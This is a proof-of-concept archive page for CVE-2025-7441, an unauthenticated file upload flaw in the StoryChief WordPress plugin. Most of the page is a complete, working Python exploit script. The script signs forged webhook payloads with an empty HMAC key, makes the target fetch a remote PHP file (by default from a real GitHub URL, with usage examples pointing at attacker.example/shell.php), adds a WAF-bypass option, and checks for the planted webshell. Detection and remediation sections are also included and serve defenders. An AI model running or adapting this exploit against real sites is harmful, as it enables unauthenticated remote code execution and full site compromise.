PoC Archive PoC Archive
Critical CVE-2025-7441 unpatched

StoryChief WordPress Plugin Unauthenticated Arbitrary File Upload via Webhook (CVE-2025-7441)

by Pwdnx1337 · 2026-07-06

CVSS 9.8/10
Severity
Critical
CVE
CVE-2025-7441
Category
web
Affected product
StoryChief WordPress plugin
Affected versions
1.0.42 (per source repository)
Disclosed
2026-07-06
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / ResearcherPwdnx1337
CVE / AdvisoryCVE-2025-7441
Categoryweb
SeverityCritical
CVSS Score9.8 (per NVD)
StatusPoC
Tagsstorychief, wordpress, wordpress-plugin, arbitrary-file-upload, ssrf, remote-code-execution, unauthenticated, webhook, hmac, cwe-434, python
RelatedN/A

Affected Target

FieldValue
Software / SystemStoryChief WordPress plugin
Versions Affected1.0.42 (per source repository)
Language / PlatformPython 3 PoC targeting a PHP/WordPress plugin backend
Authentication RequiredNo
Network Access RequiredYes

Summary

The StoryChief WordPress plugin exposes an unauthenticated REST webhook endpoint (/wp-json/storychief/webhook) that accepts a JSON payload describing a “published” story, including a data.featured_image.data.sizes.full field containing a URL. The plugin performs a server-side HTTP GET on that attacker-supplied URL and persists the fetched content directly into the public WordPress uploads directory without validating the source domain, MIME type, or file extension. Because the endpoint only checks an HMAC signature over the payload (computed with an empty/known key in the reference implementation) rather than requiring real authentication, an unauthenticated attacker can plant an arbitrary file — including a .php webshell — at a predictable path (wp-content/uploads/<YEAR>/<MM>/<filename>). If the hosting environment executes PHP inside the uploads directory, this results in unauthenticated remote code execution and full site compromise.


Vulnerability Details

Root Cause

The webhook handler builds the payload structure and blindly fetches whatever URL is embedded under featured_image, without an allowlist of trusted domains or content-type/extension validation, then writes the fetched bytes to a public, potentially execution-capable directory. The PoC constructs this exact payload shape and signs it with an empty HMAC key, which the target’s webhook signature check apparently accepts as valid:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
def make_payload(file_url):
    dummy = {
        "meta": {"event": "publish"},
        "data": {
            "featured_image": {
                "data": {
                    "sizes": {
                        "full": file_url
                    }
                }
            }
        }
    }
    return dummy

def compute_hmac_over_json(payload_obj, key=b""):
    json_string = json.dumps(payload_obj, separators=(',', ':'), ensure_ascii=True)
    json_escaped = json_string.replace("/", "\\/").encode()
    signature = hmac.new(key, json_escaped, digestmod=hashlib.sha256).hexdigest()
    return signature, json_escaped

The resulting file is saved under a date-based public path (wp-content/uploads/YYYY/MM/<basename-of-file_url>), which the PoC then polls to confirm successful upload.

Attack Vector

  1. Attacker hosts a malicious file (e.g. a PHP webshell) at a URL they control.
  2. Attacker builds a JSON payload placing that URL in data.featured_image.data.sizes.full, computes an HMAC-SHA256 signature over the escaped JSON using an empty key, and places it in meta.mac.
  3. Attacker POSTs the signed payload to <target>/wp-json/storychief/webhook with Content-Type: application/json.
  4. The plugin fetches the URL server-side and stores the file under the public uploads directory using the original filename from the URL.
  5. Attacker requests <target>/wp-content/uploads/<YEAR>/<MM>/<filename> directly; if PHP execution is permitted in that directory, the planted file executes with the web server’s privileges.

Impact

Unauthenticated arbitrary file upload / SSRF-driven file plant leading to remote code execution and full compromise of the WordPress site (and potentially the underlying host), limited only by whether the hosting environment executes PHP from the uploads directory.


Environment / Lab Setup

Target: WordPress site running the StoryChief plugin (version 1.0.42 or vulnerable range)
Attacker: Python 3 with `requests` library (optional: `curl` binary for --use-curl fallback)
Attacker-controlled HTTP host to serve the payload file referenced by --file-url
Network reachability from the target server to the attacker's file URL (server-side fetch)

Proof of Concept

PoC Script

See CVE-2025-7441.py in this folder.

1
2
3
4
5
6
7
python3 CVE-2025-7441.py http://TARGET/

python3 CVE-2025-7441.py http://TARGET/ --file-url https://attacker.example/shell.php

python3 CVE-2025-7441.py http://TARGET/ --file-url https://attacker.example/shell.php --verbose --retries 5

python3 CVE-2025-7441.py http://TARGET/ --file-url https://attacker.example/shell.php --use-curl --verbose

Detection & Indicators of Compromise

POST /wp-json/storychief/webhook with a JSON body containing
  data.featured_image.data.sizes.full = <external URL>
Outbound HTTP requests from the WordPress server to unfamiliar/attacker domains
  immediately following a request to /wp-json/storychief/webhook
Newly created files in wp-content/uploads/<YEAR>/<MM>/ with unexpected
  extensions (.php, .phtml, etc.) not matching normal media uploads

Signs of compromise:

  • Unexpected .php or script files present under wp-content/uploads/
  • Server-side HTTP fetches to unknown external hosts correlated with webhook POSTs
  • Successful HTTP 200 responses when directly requesting a suspicious uploads path
  • Unusual admin-ajax or webshell-style requests following an uploads-directory hit

Remediation

ActionDetail
Primary fixUpgrade StoryChief plugin to a patched version once available; no official patched version identified at time of mirroring — see references
Interim mitigationBlock or restrict /wp-json/storychief/webhook via WAF/server rules, disable PHP execution in wp-content/uploads/, restrict outbound egress from the web server to untrusted domains, and enforce real webhook authentication/signature verification with a secret (non-empty) key

References


Notes

Mirrored from https://github.com/Pwdnx1337/CVE-2025-7441 on 2026-07-06. The PoC script includes an extra --bypass-with-cve-2026-33691 flag that pads the file extension with whitespace to attempt a WAF/OWASP-CRS bypass; this is unrelated to the core CVE-2025-7441 vulnerability logic but is bundled in the same script.

CVE-2025-7441.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
#!/usr/bin/env python3
"""
CVE-2025-7441 By Pwdnx1337
"""

from datetime import datetime
import requests
import json
import hmac
import hashlib
import urllib3
import sys
import time
import os
import subprocess
import shlex
import urllib.parse
import argparse

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
DEFAULT_FILE_URL = "https://raw.githubusercontent.com/AnotherSec/ZIP/refs/heads/main/ZIP.php"

def banner():
    print(r"""
  _______          _______  _   ___   ____ ____ ____ ______
 |  __ \ \        / /  __ \| \ | \ \ / /_ |___ \___ \____  |
 | |__) \ \  /\  / /| |  | |  \| |\ V / | | __) |__) |  / /
 |  ___/ \ \/  \/ / | |  | | . ` | > <  | ||__ <|__ <  / /
 | |      \  /\  /  | |__| | |\  |/ . \ | |___) |__) |/ /
 |_|       \/  \/   |_____/|_| \_/_/ \_\|_|____/____//_/
    """)

def make_payload(file_url):
    dummy = {
        "meta": {
            "event": "publish"
        },
        "data": {
            "featured_image": {
                "data": {
                    "sizes": {
                        "full": file_url
                    }
                }
            }
        }
    }
    return dummy

def compute_hmac_over_json(payload_obj, key=b""):
    json_string = json.dumps(payload_obj, separators=(',', ':'), ensure_ascii=True)
    
    json_escaped = json_string.replace("/", "\\/").encode()
    signature = hmac.new(key, json_escaped, digestmod=hashlib.sha256).hexdigest()
    return signature, json_escaped

def send_post_requests(endpoint, payload_json, headers, timeout=8, verify=False, verbose=False):
    try:
        if verbose:
            print("[*] Sending POST via requests...")
        resp = requests.post(endpoint, headers=headers, data=payload_json, timeout=timeout, verify=verify)
        if verbose:
            print(f"[*] POST status: {resp.status_code}")
            
            body = (resp.text or "")[:500]
            if body:
                print("[*] Response body (truncated):")
                print(body)
        return True, resp
    except requests.RequestException as e:
        if verbose:
            print(f"[!] requests POST failed: {e}")
        return False, None

def send_post_curl(endpoint, payload_json, headers, timeout=8, verify=False, verbose=False):
    
    cmd = ["curl", "-s", "-X", "POST", endpoint, "-H", "Content-Type: application/json", "-d", payload_json, "--max-time", str(int(timeout))]
    if not verify:
        cmd.append("-k")
    for k, v in headers.items():
        if k.lower() == "content-type":
            continue
        cmd += ["-H", f"{k}: {v}"]
    if verbose:
        print("[*] Running curl command:", " ".join(shlex.quote(x) for x in cmd))
    try:
        proc = subprocess.run(cmd, capture_output=True, text=True)
        out = proc.stdout
        err = proc.stderr
        if verbose:
            print(f"[*] curl returncode: {proc.returncode}")
            if out:
                print("[*] curl stdout (truncated):")
                print(out[:1000])
            if err:
                print("[*] curl stderr (truncated):")
                print(err[:1000])
        return True, proc.returncode, out, err
    except Exception as e:
        if verbose:
            print(f"[!] curl execution failed: {e}")
        return False, None, None, None

def check_uploaded_path(base_site, file_url, retries=1, delay=2, timeout=8, verify=False, verbose=False):
    
    file_name = os.path.basename(urllib.parse.urlparse(file_url).path) or None
    if not file_name:
        if verbose:
            print("[!] Could not determine filename from file_url")
        return False, None
    now = datetime.now()
    year = now.year
    month = str(now.month).zfill(2)
    uploaded_path = f"{base_site}/wp-content/uploads/{year}/{month}/{file_name}"
    for attempt in range(1, retries + 1):
        if verbose:
            print(f"[*] Checking ({attempt}/{retries}): {uploaded_path}")
        try:
            r = requests.get(uploaded_path, timeout=timeout, verify=verify)
            if r.status_code == 200:
                return True, uploaded_path
        except requests.RequestException as e:
            if verbose:
                print(f"[!] Error when checking uploaded path: {e}")
        if attempt < retries:
            time.sleep(delay)
    return False, uploaded_path

def main():
    banner()

    parser = argparse.ArgumentParser(description="CVE-2025-7441 PoC BY PWDNX1337")
    parser.add_argument("site_url", help="Base site URL, e.g. http://127.0.0.1:5000/")
    parser.add_argument("--file-url", dest="file_url", default=DEFAULT_FILE_URL, help="Remote file URL to instruct the target to fetch (overrides default)")
    parser.add_argument("--verbose", dest="verbose", action="store_true", help="Verbose output")
    parser.add_argument("--use-curl", dest="use_curl", action="store_true", help="Use curl subprocess to deliver POST (fallback)")
    parser.add_argument("--retries", dest="retries", type=int, default=1, help="Number of checks for uploaded file (default 1)")
    parser.add_argument("--bypass-with-cve-2026-33691", dest="bypass_cve_2026_33691", action="store_true", default=False, help="Bypass OWASP CRS using whitespace padding (CVE-2026-33691)")
    args = parser.parse_args()

    base_site = args.site_url.rstrip('/')
    file_url = args.file_url

    if args.bypass_cve_2026_33691:
        if args.verbose:
            print("[*] Applying CVE-2026-33691 bypass (whitespace padding)...")
        parsed = urllib.parse.urlparse(file_url)
        path = parsed.path
        if '.' in path:
            dir_part, filename = os.path.split(path)
            if '.' in filename:
                name, ext = filename.rsplit('.', 1)
                # CVE-2026-33691: inserting whitespace padding (e.g. photo. php)
                new_filename = f"{name}. {ext}"
                new_path = os.path.join(dir_part, new_filename)
                file_url = urllib.parse.urlunparse(parsed._replace(path=new_path))

    verbose = args.verbose
    use_curl = args.use_curl
    retries = max(1, args.retries)

    if verbose:
        print(f"[*] Target: {base_site}")
        print(f"[*] file_url: {file_url}")
        print(f"[*] retries: {retries}")
        print(f"[*] use_curl: {use_curl}")

    payload_obj = make_payload(file_url)
    signature, json_escaped = compute_hmac_over_json(payload_obj, key=b"")
    payload_obj["meta"]["mac"] = signature
    payload_json = json.dumps(payload_obj)

    print("[+] computed hmac :", signature)
    
    endpoint = base_site + "/wp-json/storychief/webhook"
    headers = {"Content-Type": "application/json"}

    if args.use_curl:
        ok, retcode, out, err = send_post_curl(endpoint, payload_json, headers, timeout=8, verify=False, verbose=verbose)
        if not ok:
            if verbose:
                print("[!] curl delivery failed, falling back to requests...")
            ok2, resp = send_post_requests(endpoint, payload_json, headers, timeout=8, verify=False, verbose=verbose)
            if not ok2:
                if verbose:
                    print("[!] requests delivery also failed.")
        else:
            
            if verbose:
                try:
                    _ = json.loads(out)
                    if verbose:
                        print("[*] curl returned JSON response (interpretable).")
                except Exception:
                    if verbose:
                        print("[*] curl stdout not JSON or empty.")
    else:
        ok, resp = send_post_requests(endpoint, payload_json, headers, timeout=8, verify=False, verbose=verbose)
        if not ok:
            if verbose:
                print("[!] POST failed via requests.")
              
    ok_file, uploaded_path = check_uploaded_path(base_site, file_url, retries=retries, delay=2, timeout=8, verify=False, verbose=verbose)
    if ok_file:
        print("[+] success! [+]")
        print(uploaded_path)
    else:
        print("<failed to upload>")

if __name__ == "__main__":
    main()